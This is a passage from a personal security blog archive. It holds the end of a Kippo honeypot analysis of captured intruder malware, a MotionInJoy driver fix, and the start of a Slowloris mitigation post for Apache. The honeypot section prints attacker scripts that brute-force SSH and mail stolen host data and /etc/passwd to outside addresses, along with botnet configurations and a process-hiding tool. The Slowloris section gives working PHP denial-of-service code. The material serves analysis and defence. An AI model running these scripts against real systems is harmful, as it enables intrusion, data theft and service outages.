goshNEW/sortateusr.txt
goshNEW/CITESTE-INAINTE-SA-INCEPI
goshNEW/vuln.txt
goshNEW/common
goshNEW/1
goshNEW/gen-pass.sh
goshNEW/go.shB
goshNEW/pass_file
goshNEW/5
goshNEW/userroomare.txt
goshNEW/3
goshNEW/mfu.txt
goshNEW/4
goshNEW/screen
goshNEW/go.shA
server:/tmp/,/goshNEW# screen
bash: screen: command not found
server:/tmp/,/goshNEW# ./screen
Shall we play a game?
A strange game. The only winning move is not to play. How about a nice game of chess?
server:/tmp/,/goshNEW#
server:/tmp/,/goshNEW# apt-get install screen
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
tmpgoshNEWscreen
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 774.2kB of archives.
After this operation, 1702.8kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main tmpgoshNEWscreen 0.19-7 [774.2kB]
Fetched 774.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking tmpgoshNEWscreen (from .../archives/tmpgoshNEWscreen_0.19-7_i386.deb) ...
Processing triggers for man-db ...
Setting up tmpgoshNEWscreen (0.19-7) ...
server:/tmp/,/goshNEW# screen
</code></pre>
<h1>Malware analysis</h1>
<p>Kippo also provides another handy function: it stores any downloaded files. This allows us to further analyse some of the malware used by the intruders.</p>
<h2>File http___fiunic_eu_pub.tgz</h2>
<p>An archive containing what looks like source code for an SSH server.</p>
<h2>File http___pinky_clan_su_mech_fast.tgz</h2>
<p>This archive contains an IRC bot. <code>configure.c</code> shows:</p>
<pre><code class="prettyprint" style="height: 300px;">#############CONF###################################
my $hidden = '/usr/sbin/apache/log';
my $linas_max='4';
my $sleep='5';
my @admins=("Senil","Dereglat");
my @hostauth=("Senil.users.quakenet.org","Dereglat.users.quakenet.org");
my @channels=("#anyone312");
my $nick='bombon';
my $ircname ='furt';
my $realname = 'pe fatza';
my $server='multiplay.uk.quakenet.org';
my $port='6667';
####################################################
</code></pre>
<p>Joining the channel on Quakenet reveals nothing.</p>
<p>The archive also contains an executable called <code>bash</code>. This is a compiled EnergyMech IRC bot. The source code is also included in the archive, together with configuration:</p>
<pre><code class="prettyprint" style="height: 300px;">SERVER diemen.nl.eu.undernet.org 6667
SERVER London2.UK.EU.Undernet.Org 6667
SERVER 62.231.74.10 6667
SERVER lelystad.nl.eu.undernet.org 6667
SERVER mesa.az.us.undernet.org 6667
SERVER Zagreb.Hr.EU.UnderNet.org 6667
SERVER Helsinki.FI.EU.Undernet.org 6667
SERVER Carouge.CH.EU.Undernet.org 6667
SERVER us.undernet.org 6667
SERVER oslo2.no.eu.undernet.org 6667
ENTITY x
###BOT 1###
NICK Red-hack1
USERFILE 1.user
CMDCHAR .
LOGIN rosu
IRCNAME 4® 12Welcome 3in 14My 4World 13!!! 7®
MODES +ix-ws
HASONOTICE
TOG CC 1
TOG CLOAK 1
TOG SPY 1
SET OPMODES 6
SET BANMODES 6
CHANNEL #canalul-tau
TOG PUB 1
TOG MASS 1
TOG SHIT 1
TOG PROT 1
TOG ENFM 0
SET MKL 7
SET MBL 7
SET MPL 1
</code></pre>
<p>Also here, joining the channel does nothing.</p>
<p>The archive also contains a shell script, used to check if the bot is still running and to restart it:</p>
<pre><code class="prettyprint" style="height: 300px;">#! /bin/sh
RUN=./bash
OPT=
OUTPUT=./mech.cron
if [ -r mech.pid ]; then
PID=`cat mech.pid`
if [ -r /proc/$PID ]; then
exit 0
fi
if ( kill -0 $PID 1> /dev/null 2> /dev/null ); then
exit 0
fi
fi
echo >> $OUTPUT
echo "Mech restarted:" >> $OUTPUT
( date 2>&1 ) >> $OUTPUT
echo >> $OUTPUT
( $RUN $OPT 2>&1 ) >> $OUTPUT95
</code></pre>
<p>Shell scripts like these are often put in crontabs.</p>
<h2>File http___arhiva_do_am_scan.tar</h2>
<p>This archive contains the often repacked <code>pscan</code> and <code>ssh-scan</code> tools. A shell script called <code>start</code> contains:</p>
<pre><code class="prettyprint" style="height: 300px;">#/bin/bash
# start.sh script
# part of ssh massrooter by pulea
# /j #r.o.o.t pt intrebari :)
if [ $# != 1 ]; then
echo "[+] pulea zice :"
sleep 3
echo "[+] sa-mi bag pula in creierii tai !"
echo "[+] ex. : $0 <b class>"
exit;
fi
clear
cat a1
if [ -f a4 ]; then
echo "[+] Checking files.."
sleep 3
echo " OK"
perl sshc.c
./a $1.0
./a $1.1
./a $1.2
./a $1.3
./a $1.4
./a $1.5
./a $1.6
./a $1.7
./a $1.8
./a $1.9
./a $1.10
./a $1.11
./a $1.12
./a $1.13
./a $1.14
./a $1.15
./a $1.16
./a $1.17
./a $1.18
./a $1.19
./a $1.20
cat vuln.txt |mail -s "vuln.txt" luchian8@gmail.com
#SNIP
rm -rf sshc.c
killall -9 a
killall -9 a
killall -9 pscan2
if [ "$(whoami)" != "root" ]; then
./sshf
else
./sshf0
fi
clear
echo "[+] momentul adevarului :)"
echo "[+] ne odihnim cateva secunde .."
sleep 5
echo ""
cat vuln.txt
cat vuln.txt >> .vulnold.txt
echo > vuln.txt
cat a6 >> vuln.txt
else
echo "[+] Checking files.."
sleep 3
echo " error"
echo "[+] Some file are missing"
echo "[+] Please reinistall it from your wget"
echo "[+] or ask pulea !"
</code></pre>
<p>I wonder who this luchian8@gmail.com is... Anyway, <code>a</code> is another shell script running:</p>
<pre><code class="prettyprint" style="height: 300px;">#!/bin/bash
./pscan2 $1 22
sleep 5
cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo ""
echo "[+] Attacking $oopsnr2 servers!"
echo ""
perl sshc.c
rm -rf sshc.c
./pass_sh
./ssh-scan 100
rm -rf $1.pscan.22 mfu.txt
echo ""
</code></pre>
<p><code>pscan</code> is a basic port scanner for an IP block. <code>ssh-scan</code> is a password brute forcer. Other files just contain some dubious ascii art:</p>
<pre><code class="prettyprint" style="height: 300px;"> __^__ __^__
( ___ )------------------------------------------------------------( ___ )
| / | #help-bnc present`s: | \ |
| / | OmAr'z ssh massrooter build on 11-01-2006 | \ |
| / | | \ |
| / | Thanks to : OmAr | \ |
| / | and to all #OmAr members. | \ |
| / | | \ |
| / | Fucks goes to : all hackers, we are script kiddies.. | \ |
| / | so what ? fuck off ! | \ |
| / | | \ |
| / | EOF by OmAr | \ |
| / |--------------------------------------------------------------| \ |
|___|______________[OmAr'z ssh massrooter by OmAr]_________________|___|
(_____)------------------------------------------------------------(_____)
^ ^
</code></pre>
<h2>File http___gblteam_webs_com_gosh.tgz.tar</h2>
<p>Another repackaging of the <code>pscan</code>-<code>ssh-scan</code> combination. This one contains a script called <code>secure</code>:</p>
<pre><code class="prettyprint" style="height: 300px;">#!/bin/bash
if [ `whoami` == "root" ]; then
chmod -x /usr/bin/mail
mv /usr/bin/mail /usr/bin/s8
echo " Done , You can scan now "
else
echo -e " you're not root you're `whoami` with id `id` !! "
fi
</code></pre>
<p>... because disabling <code>mail</code> totally hides your tracks, yo.</p>
<p>The script <code>scam</code> contains a variation of the script seen above:</p>
<pre><code class="prettyprint" style="height: 300px;">#!/bin/bash
echo "[+] [+] [+] RK [+] [+] [+]" >> info2
echo "[+] [+] [+] IP [+] [+] [+]" >> info2
/sbin/ifconfig -a >> info2
echo "[+] [+] [+] uptime [+] [+] [+]" >> info2
uptime >> info2
echo "[+] [+] [+] uname -a [+] [+] [+]" >> info2
uname -a >> info2
echo "[+] [+] [+] /etc/issue [+] [+] [+]" >> info2
cat /etc/issue >> info2
echo "[+] [+] [+] passwd [+] [+] [+]" >> info2
cat /etc/passwd >> info2
echo "[+] [+] [+] id [+] [+] [+]" >> info2
id >> info2
echo "[+] [+] [+] Spatiu Hdd / pwd [+] [+] [+]" >> info2
df -h >> info2
pwd >> info2
cat info2 | mail -s "Scanner MaLa Port : ?? | Pass : stii tu :))" mafia89tm@yahoo.com
rm -rf info2
clear
echo "####################################################################"
echo "# ______ "
echo "# .-. .-. "
echo "# / \ "
echo "# | zRR | "
echo "# |, .-. .-. ,| "
echo "# | )(z_/ \z_)( | "
echo "# |/ /\ \| "
echo "# _ (_ ^^ _) "
echo "# _\ ____) \_______\__|IIIIII|__/_________________________ "
echo "# (_)[___]{}<________|-\IIIIII/-|__zRR__zRR__zRR___________\ "
echo "# / )_/ \ / "
echo "# \ ______ / "
echo "# SCANER PRIVAT "
echo "# SCANER FOLOSIT DOAR DE TEAMUL MaLaSorTe "
echo "# SACNERUL CONTINE UN PASS_FLIE DE 3MEGA !! "
echo "####################################################################"
if [ -f a ]; then
cat vuln.txt |mail -s "Lame Gang Us Roots" mafia89tm@yahoo.com
./a $1.0
./a $1.1
./a $1.2
./a $1.3
./a $1.4
./a $1.5
./a $1.6
./a $1.7
./a $1.8
./a $1.9
./a $1.10
cat vuln.txt |mail -s "Lame Gang Us Roots" mafia89tm@yahoo.com
# SNIP
killall -9 a
else
echo # Ciudat ..Nu Ai Urmat Instructiunile #
echo # trebui dat mv assh a sau mv scan a #
echo # orice ai avea tu ... dohh .. #
killall -9 a
killall -9 pscan2
fi
</code></pre>
<p>... because writing a for-loop is too hard. I wonder who mafia89tm@yahoo.com is. Also, if you disable <code>mail</code>, how does <code>mail</code> work, exactly?</p>
<h2>File: http___no_biju_com_merge_Arhive_devilflood.tar.gz</h2>
<p>A package containing executables, probably used to DoS servers. TCP, UDP, IRC and SMTP flooders are present. There is a list of IP addresses in a txt file, probably targets.</p>
<p>There are also a few configuration files with Undernet IRC channels, but joining them reveals no users.</p>
<h2>File http___www_freewebs_com_iulianshooter_psyBNC2_3_2_4.tgz.tar.gz</h2>
<p>This is <a href="http://www.psybnc.at/about.html">PsyBNC</a>:</p>
<blockquote>
<p>psyBNC is an easy-to-use, multi-user,
permanent IRC-Bouncer with many
features. Some of its features include
symmetric ciphering of talk and
connections (Blowfish and IDEA), the
possibility of linking multiple
bouncers to an internal network
including a shared partyline, vhost-
and relay support to connected
bouncers and an extensive online help
system. Many other helpful functions
are included. It compiles on Linux,
FreeBSD, SunOs and Solaris.</p>
</blockquote>
<h2>File http___eu_ro_ca_img.tar</h2>
<p>Another package containing <code>pscan</code>. There's also an IRC bot present:</p>
<pre><code class="prettyprint" style="height: 300px;">echo "SERVER 82.196.213.250 6666" >> m.set
echo "SERVER 208.83.20.130 6667" >> m.set
echo "SERVER 195.197.175.21 6669" >> m.set
echo "ENTITY $2" >> m.set
echo "### BOT 1 ###" >> m.set
echo "NICK ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "USERFILE $2.user" >> m.set
echo "CMDCHAR ." >> m.set
echo "LOGIN ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "IRCNAME ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "MODES +iwsx" >> m.set
echo "HASONOTICE" >> m.set
echo "VIRTUAL $2" >> m.set
echo "TOG CC 1" >> m.set
echo "TOG CLOAK 1" >> m.set
echo "TOG SPY 1" >> m.set
echo "SET OPMODES 6" >> m.set
echo "SET BANMODES 6" >> m.set
echo "CHANNEL #$1 " >> m.set
echo "TOG PUB 1" >> m.set
echo "TOG MASS 1" >> m.set
echo "TOG SHIT 1" >> m.set
echo "TOG PROT 1" >> m.set
echo "TOG ENFM 0" >> m.set
echo "SET MKL 7" >> m.set
echo "SET MBL 7" >> m.set
echo "SET MPL 1" >> m.set
</code></pre>
<p>Looking at the intercepted logs (see above) reveals the used channels. Joining this channel leads you to an active community of rooters selling shells on hacked servers.</p>
<h2>File http___freewebtown_com_pacalici_lib.tgz</h2>
<p>Again an IRC bot, together with a shell script checking if the bot is running called <code>y2kupdate</code> (nice try). There's also source code for a hider program:</p>
<pre><code class="prettyprint" style="height: 300px;">/*
psf -- Process Stack Faker (a.k.a. Fucker)
Coded by Stas; (C)opyLeft by SysD Destructive Labs, 1997-2003
Tested on: FreeBSD 4.3, Linux 2.4, NetBSD 1.5, Solaris 2.7
Compile with:
# gcc -O2 -o h h.c
# strip h
Did you ever need to *hide* what are you doing on somewhat like public
server? Like Quake server or maybe John The Ripper? 'Cos when your admin
run "ps auwx" or "top" and sees process like that, it's probable you'll
loose your shell on that server. So, what to do? Rootkit is a good solution
but you need root privilegies to install it and it's a bit overkill for
running an inoffensive eggdrop bot (belive me, I saw user installing rootkit
just to hide eggdrop!). Well, this little proggie does a job for you. It
*will not* erase some entry you wish to hide from process stack. It just
changes a commandline for "ps" entry ;)
This principle is widely used in many security-related programs. Nmap was
the first I saw. How does this technique works? Take a look at execv(3)
system call:
int execv( const char *path, char *const argv[]);
'path' is a path to executable file. And 'argv' array is... Well, it's
just the same 'argv' from:
int main(int argc, char *argv[])
where 'argv[0]' is a commandline and 'argv[1]' and higher are paramenters.
Normally 'argv[0]' receives the same value as 'path' from execv(3). But you
also can use other values! For example, when you run Nmap, it can execv(3)
itself with commandline changed to 'pine'. OK, commandline is gone. But what
to do with paramenters? Nmap uses environment to send paramenters user passed
to 'spoofed' process and ignores other paramenters. If you wish to spoof
'nmap -sS -vv -O -P0 -o lhost.log localhost' as 'pine -i', Nmap "remembers"
it's specific switches and re-execs itself as 'pine' with parameter '-i'.
Fine! But John The Ripper, Quake server & eggdrop can't fake parameters in
this way!!! What's the other way? Sorry, it's *very* dumb and *very* ugly...
What happens if you change commandline to something like:
'pine -i '
(Ya, 'pine -i' plus many space characters 0x20)? Hahah, "ps", "top" & many
other monitors just shift away *real* parameters! So, you don't hide them,
just shift away from screen. Such a "algorithm" doesn't needs neither rootkits,
neither special privilegies! Any user can do that at any time!!! *That's* "psf"
does. Try this:
# psf -s "pine -i" sleep 30 &
[1] 440
# ps auwx
...
stas 84 0.0 0.6 2012 1232 pts/0 S 19:12 0:00 bash -rcfile .bashrc
stas 440 0.0 0.1 1204 376 tty2 S 20:09 0:00 pine -i
stas 450 0.0 0.4 2544 816 tty2 R 20:12 0:00 ps auwx
...
Hahahaah, that's what we need! Please note that commandline change isn't
immediate, just wait a little before it completes. But... Did you noticed
a white line between processes 440 & 450? Uhm, that's our "shift buffer".
Pray for your admin don't notice that! Anyway, they are many more problems
with parameter shifting. "top" program, for example, shows "command names"
instead of "command lines" by default. You see a file name instead of
'argv[0]' value. "psf" tries to fix that creating symlink with name of
faked commandline to real program (on previous example, it creates symlink
/tmp/.psf-xxxx/pine => /usr/bin/sleep). Note that it doesn't works on *BSD
systems (*BSD kernel (?) follows symlink and shows real filename anyway).
The ways to discover faked processes I know are:
* kidding with top(1)
* ps auwx --cols 1024
* cat /proc/[pidn]/cmdline (Linux only)
* whatever non-standart process stack monitors
* looking open files with "lsof" program
* if you use -d (daemonize) option, be careful!!! As any cool daemon should
do, "psf" closes std(in,out,err). What your admin will think if he (she)
sees "pine -i" with no parent and neither allocated TTY?!
Too many, don't you think? So, what's *THE BEST* way to hide processes?
Rootkit sounds well, but it's a bit complex to use, you know... So, IMHO,
you must get source of program you wish to hide and hardcode all parameters
inside executable... After that, rename it in whatever and let it go!
Of course you must program at least C/C++ to do such a trick. Now, if
you're glad with my quick & dirty solution called "psf", happy faking!!!
*/
</code></pre>
<p>Deviously simple. Adding spaces. There's also a configuration file present leading to a lonely IRC server:</p>
<pre><code class="prettyprint" style="height: 300px;">NICK Sex
USERFILE 1
CMDCHAR !
LOGIN tun
IRCNAME Nelu
MODES +ix-ws
TOG CC 0
TOG CLOAK 1
TOG SPY 1
SET OPMODES 4
SET BANMODES 6
SET AAWAY 1
TOG NOIDLE 1
CHANNEL #brasov
TOG PUB 1
TOG MASS 1
TOG SHIT 1
TOG PROT 1
TOG ENFM 1
SET ENFM +nt
SET MDL 4
SET MKL 4
SET MBL 4
SET MPL 1
SERVER 200.41.53.1 6667
SERVER chmod.myftp.biz 6667
</code></pre>
<p>Joining the channel also reveals a small hacker community using EnergyMechs on hacked servers to DoS Russion web hosts.</p>
<h2>File http___ema_ucoz_com_ICE_UNIX.tgz</h2>
<p>Again a IRC bot leading to an obscure channel on Undernet. I have not repeated the config here.</p>
<h2>Archive containing .sshd</h2>
<p>A more unique malware script this time. Containing the <code>shv5-rootkit</code> rootkit, which is, according to the file, "very private", but dates back to 2007, so it's probably an old version. The tools first checks for Tripwire, Snort, and other tools. It then continues to install itself into various directories. And starts to install backdoors into various programs (<code>ls</code>, <code>top</code>, ...). It then checks for some basic vulnerable daemons, and warns that you should patch them (oh the irony). It finally also checks for other rootkits (tk7, tk8, beX2, tuxkit, optickit) and tries to remove those. It then tries to cover its tracks by clearing log files. </p>
<p>The other files also mostly contained bots pointing to Undernet IRC channels. Some or quite active and contain around 100 bots, others are empty. Joining some of them gets you an immediate ban.</p>
<h1>Country statistics</h1>
<p>I grepped through hundreds of lines of logging from Kippo, removed duplicate IP addresses, and used GeoIP to do a country lookup. Here are the sorted results:</p>
<pre><code class="prettyprint" style="height: 300px;">CN, China 51
US, United States 42
RO, Romania 26
CA, Canada 12
IN, India 11
KR, Korea, Republic of 10
RU, Russian Federation 10
BR, Brazil 8
DE, Germany 8
GB, United Kingdom 8
TH, Thailand 8
IT, Italy 7
HK, Hong Kong 6
JP, Japan 5
TR, Turkey 5
AT, Austria 4
TW, Taiwan 4
BE, Belgium 3
CO, Colombia 3
ES, Spain 3
FR, France 3
NL, Netherlands 3
SE, Sweden 3
CZ, Czech Republic 2
EG, Egypt 2
ID, Indonesia 2
MD, Moldova, Republic of 2
NO, Norway 2
PL, Poland 2
VN, Vietnam 2
AE, United Arab Emirates 1
AR, Argentina 1
BG, Bulgaria 1
BH, Bahrain 1
CH, Switzerland 1
CL, Chile 1
CR, Costa Rica 1
GE, Georgia 1
GT, Guatemala 1
HU, Hungary 1
IS, Iceland 1
KE, Kenya 1
KZ, Kazakhstan 1
LB, Lebanon 1
LT, Lithuania 1
MN, Mongolia 1
MX, Mexico 1
MZ, Mozambique 1
PA, Panama 1
PE, Peru 1
PH, Philippines 1
SG, Singapore 1
VE, Venezuela 1
</code></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwWcQ9O31c8L-1i_4EYeteP5NqgGD9AtfAQU0InDBhsyJTirMUJVNaFfjJaxH7V8QYntlmyI_btUOy1-H9woFBztOCwrr0WkMtjsu1zpxPHwb0mvxdbdcBLbVQ3Gp7i6LzSDdNWw/s1600/hacker-country-pie.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="312" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwWcQ9O31c8L-1i_4EYeteP5NqgGD9AtfAQU0InDBhsyJTirMUJVNaFfjJaxH7V8QYntlmyI_btUOy1-H9woFBztOCwrr0WkMtjsu1zpxPHwb0mvxdbdcBLbVQ3Gp7i6LzSDdNWw/s400/hacker-country-pie.png" /></a></div>
<p>Be wary when interpreting these results, as they might represent "countries containing hacked servers" more than "originating countries of hackers", as hacked servers are, as we've seen, often used to get to other targets.</p>
<h1>Concluding remarks</h1>
<p>Kippo has now been removed from my server, due to the fact that I don't have enough time to keep checking up on it and I feel a bit uneasy running a honeypot on server containing important data. As I've said before, modifying and extending Kippo and analysing the results using a few VPS hosts might be a fun summer project.</p>
<p>The main lesson to take away from this post is this: keep your servers secure. This means running upgrades, but especially choosing strong passwords (or using RSA keys). As we've seen, most malware contained brute forcing tools, trying one server after another.</p>
<p>While analyzing cute honeypot logs is by no means doing what one would call "advanced security research", I did have a lot of fun with it, especially when trying to investigate IRC channels and trailing the hackers.</p>
<p>Some time ago (actually: years and years ago), I myself was (indirectly) involved with a botnet, containing not hundred but thousands of bots, which is a story for another time. I understand the thrill of gaining your first rooted shell, but being on the opposite side of things (that is: running a server instead of hacking one) also shows how script kiddies operate without any regard for privacy, property or data. It is a valuable, but sad lesson.</p>Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.com36tag:blogger.com,1999:blog-21390211.post-4821336500984033902011-01-18T21:31:00.002+01:002011-03-08T19:34:54.074+01:00MotionInJoy Appcrash When Loading DriverWhen trying to install the MotioninJoy driver using the GUI, the program crashes.<br />
Manually running the driver installation works. To do this, open a <code>cmd</code> window with administrative privileges. Make sure you have followed the other MotioninJoy steps and the controller is plugged in.<br />
cd to the "ds3" directory, located in your MotioninJoy install path, e.g.:<br />
<pre><code>C:\Users\Seppe><b>cd "C:\Installed Files\MotioninJoy\ds3"</b>
C:\Installed Files\MotioninJoy\ds3>
</code></pre>
Then run the driver installation program like so:<br />
<pre><code>C:\Installed Files\MotioninJoy\ds3><b>MijCmd.exe /i drivers\MijXinput.inf</b>
INFO: Updateing driver,Please wait a moment...
</code></pre>
A notepad file containing log output will open, it should look something like this:<br />
<pre><code>INFO:MotioninJoy Driver install log
INFO: Driver install Enter
INFO: argc0="MijCmd.exe"
INFO: argc1="/i"
INFO: argc2="drivers\mijxinput.inf"
INFO: DriverPackageInfPath="C:\Installed Files\MotioninJoy\ds3\drivers\mijxinput.inf"
INFO: >>>>>installing driver package.
LOG Event: 1, ENTER: DriverPackageInstallW
LOG Event: 2, DRIVER&#95;PACKAGE&#95;LEGACY&#95;MODE flag set but not supported on Plug and Play driver on VISTA. Flag will be ignored.
LOG Event: 1, Looking for Model Section [MotioninJoy.NTamd64.6.0]...
LOG Event: 1, Installing INF file 'C:\Installed Files\MotioninJoy\ds3\drivers\mijxinput.inf' (Plug and Play).
LOG Event: 1, Looking for Model Section [MotioninJoy.NTamd64.6.0]...
LOG Event: 1, Installing devices with Id "USB\VID&#95;054C&PID&#95;0268&REV&#95;0100" using INF "C:\Windows\System32\DriverStore\FileRepository\mijxinput.inf&#95;amd64&#95;neutral&#95;452fabe792a00d17\mijxinput.inf".
LOG Event: 1, ENTER UpdateDriverForPlugAndPlayDevices...
LOG Event: 0, RETURN UpdateDriverForPlugAndPlayDevices.
LOG Event: 1, Installation was successful.
LOG Event: 1, Marked Phantom Device with Hardware/Compatible Id 'USB\VID&#95;054C&PID&#95;0268&REV&#95;0100' for reinstall on next plug-in.
LOG Event: 0, Install completed
LOG Event: 1, RETURN: DriverPackageInstallW (0x0)
SUCCESS: installed package C:\Installed Files\MotioninJoy\ds3\drivers\mijxinput.inf.
</code></pre>
You can now use the MotioninJoy GUI again. The driver will be installed.Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-2626379833877889412011-01-12T02:37:00.013+01:002011-02-03T12:17:49.225+01:00Slowloris And Mitigations For Apache<h1>
Introduction</h1>
If you are the least bit interested in network security, you'll undoubtedly have heard about Slowloris by now.<br />
<blockquote>
Slowloris is a piece of software written by Robert "RSnake" Hansen which allows a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports. Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. It accomplishes this by opening connections to the target web server and sending a partial request. Periodically, it will send subsequent HTTP headers, adding to—but never completing—the request. Affected servers will keep these connections open, filling their maximum concurrent connection pool, eventually denying additional connection attempts from clients. (From: <a href="http://en.wikipedia.org/wiki/Slowloris">Wikipedia</a>)</blockquote>
The attack is HTTP-based, and attacks webservers by making lots of keep-alive connections and keeping them alive by sending bogus HTTP headers. The server's connection pool gets filled and no other clients can be served. The attack is said to work on a large number of webservers, according to the <a href="http://ha.ckers.org/slowloris/">project page</a>:<br />
<ul>
<li>Apache 1.x</li>
<li>Apache 2.x</li>
<li>dhttpd</li>
<li>GoAhead WebServer</li>
<li>WebSense "block pages" (unconfirmed)</li>
<li>Trapeze Wireless Web Portal (unconfirmed)</li>
<li>Verizon's MI424-WR FIOS Cable modem (unconfirmed)</li>
<li>Verizon's Motorola Set-Top Box (port 8082 and requires auth - unconfirmed)</li>
<li>BeeWare WAF (unconfirmed)</li>
<li>Deny All WAF (unconfirmed)</li>
</ul>
And does not affect:<br />
<ul>
<li>IIS6.0</li>
<li>IIS7.0</li>
<li>lighttpd</li>
<li>Squid</li>
<li>nginx</li>
<li>Cherokee (verified by user community)</li>
<li>Netscaler</li>
<li>Cisco CSS (verified by user community)</li>
</ul>
<div>
Recently, the method was placed in the spotlights again, because both Wikileaks-supporters and non-supporters were using it to DOS a variety of websites and Wikileaks mirrors. Also, recently, an alternative HTTP-based DOS method was found, using POST requests with a large content length (<a href="http://www.darkreading.com/vulnerability-management/167901026/security/application-security/228400147/new-http-post-ddos-attack-tools-released.html">article</a>).<br />
<br /></div>
<h1>
Attack</h1>
I run Apache, so, naturally, I was (and still am) concerned about this attack vector. The first step in preventing and solving security problems lies in understanding the attack. Luckily, in this case, the attack is devilishly simple. Based on a PHP version of the original Slowloris attack (<a href="http://seclists.org/fulldisclosure/2009/Jun/207">found here</a>), I wrote a modified script which also included the new POST-based attack method. The extended version of the script can be found on <a href="https://gist.github.com/771824">Github</a>.<br />
<br />
The usage is straightforward:<br />
<br />
<code>./scriptname.php <method> <number of processes> <server> [host]</code><br />
<br />
Where:<br />
<ul>
<li><tt><method></tt> is either "get" for the "slow-headers" based attack, or "post" for the new variant;/li>
</li>
<li><tt><number of processes></tt> determines the number of concurrent requests, around 300 does the trick in most cases;</li>
<li><tt><server></tt> is the hostname or IP address of the server you want to target;</li>
<li><tt>[host]</tt> is an optional parameter which will be used in the "Host:"-request header. If left blank the same value as <server> will be used.</server></li>
</ul>
<br />
The script really illustrates how simple the attacks are, lets comment a bit on the <tt>attack_get</tt> function:
<br />
<pre><code class="prettyprint">function attack_get($server, $host){
# The following lines set up a normal HTTP1.1 GET request with Keep-Alive
$request = "GET / HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
# Spoof User-Agent (can be changed)
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
# The following header is, strictly speaking, not necessary, all HTTP1.1 requests are kept alive
$request .= "Keep-Alive: 900\r\n";
# Just make the Content-Length large enough
$request .= "Content-Length: " . rand(10000, 1000000) . "\r\n";
$request .= "Accept: *.*\r\n";
# First custom header, name can be changed
$request .= "X-a: " . rand(1, 10000) . "\r\n";
# Open socket to webserver and send request
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
while (true){
# Try adding another bogus header
if (@fwrite($sockfd, "X-c:" . rand(1, 100000) . "\r\n")){
# Sleep for a bit
sleep(15);
}else{
# Sending failed
}
}
}
</code></pre>
<br />
The <tt>attack_post</tt> function works very similar:
<br />
<pre><code class="prettyprint">function attack_post($server, $host){
# Send a post request to a random location, eventually you could change this to make sure you post to an existing URL
$request = "POST /".md5(rand())." HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
$request .= "Keep-Alive: 900\r\n";
# "Prepare yourself webserver, we're going to send a lot here, ready?"
$request .= "Content-Length: 1000000000\r\n";
$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
$request .= "Accept: *.*\r\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr);
@fwrite($sockfd, $request);
while (true){
# Send a small bit of content
if (@fwrite($sockfd, ".") !== FALSE){
# Sleep for a bit, pretend that "We're a terribly slow browser, so sorry..."
sleep(1);
}else{
# Sending failed
}
}
}</code></pre>
<br />
You can also download an OWASP (Open Web Application Security Project) tool found <a href="http://www.owasp.org/index.php/OWASP_HTTP_Post_Tool">here</a> which does the same. The tool contains a GUI which lets you choice the attack method (slow headers or slow post), has proxy support, and allows setting attack parameters. The slow header attack can use GET or POST requests, whereas my script above can not and only uses GET. Not that it matters much for that method, as the headers are the crucial factor.<br />
<br />
The attack certainly works. In my testing, I was able to DOS about 30% of all sampled webservers (retrieved from just random Google results), including my own. A funny side effect of this method is that, once you stop attacking, the server immediately becomes responsive again as the connection pool is freed. The slow post attack worked more reliable in my testing than the slow headers.<br />
<br />
<h1>
Mitigation</h1>
Preventing the attack is not easy. The Apache developers are <a href="http://article.gmane.org/gmane.comp.apache.devel/37794">aware</a> of the problem, but some architectural changes are needed before the problem will be solved. In the meantime, some users have made some suggestions and/or developed solutions themselves:<br />
<ul>
<li>Using Apache modules such as mod_limitipconn, mod qos, mod_evasive, mod_security, mod_noloris, and mod_antiloris.</li>
<li>Making some changes to Apache configuration.</li>
<li>Using load balancers or proxies. Setting up <a href="http://www.varnish-cache.org/">Varnish</a> in front of Apache seems to be a popular choice.</li>
<li>Using IPTABLES to block a lot of simultaneous requests from the same IP</li>
<li>Using Fail2Ban or similar software to ban IP's based on log data</li>
<li>Making changes to Linux/FreeBSD network parameters using accf, pfctl, sysctl</li>
</ul>
<div>
Since I want to try to keep things simple, I'll look at the Apache configuration, and some helpful modules.<br />
<br /></div>
<h2>
Apache Configuration</h2>
This mainly concerns tuning the following: <tt>KeepAliveTimeout</tt> and <tt>Timeout</tt>.<br />
<tt>Timeout</tt> does the following (<a href="http://httpd.apache.org/docs/current/mod/core.html">docs</a>):<br />
<blockquote>
The TimeOut directive defines the length of time Apache will wait for I/O in various circumstances:<br />
When reading data from the client, the length of time to wait for a TCP packet to arrive if the read buffer is empty.<br />
When writing data to the client, the length of time to wait for an acknowledgement of a packet if the send buffer is full.</blockquote>
This helps a bit, but an attacker could just increase his own sending rate (e.g. lower the sleep time in the functions above) to work around this.<br />
<br />
<tt>KeepAliveTimeout</tt> then does:<br />
<blockquote>
The number of seconds Apache will wait for a subsequent request before closing the connection.</blockquote>
<div>
Again, the problem remains. An attacker could just increase the sending rate. Note that, when using the slow headers method, the <tt>Timeout</tt> directive above might not help a single bit, since the docs state that:</div>
<blockquote>
Once a request has been received, the timeout value specified by the Timeout directive applies.</blockquote>
But the full receiving of a request itself takes a long, long time.<br />
<br />
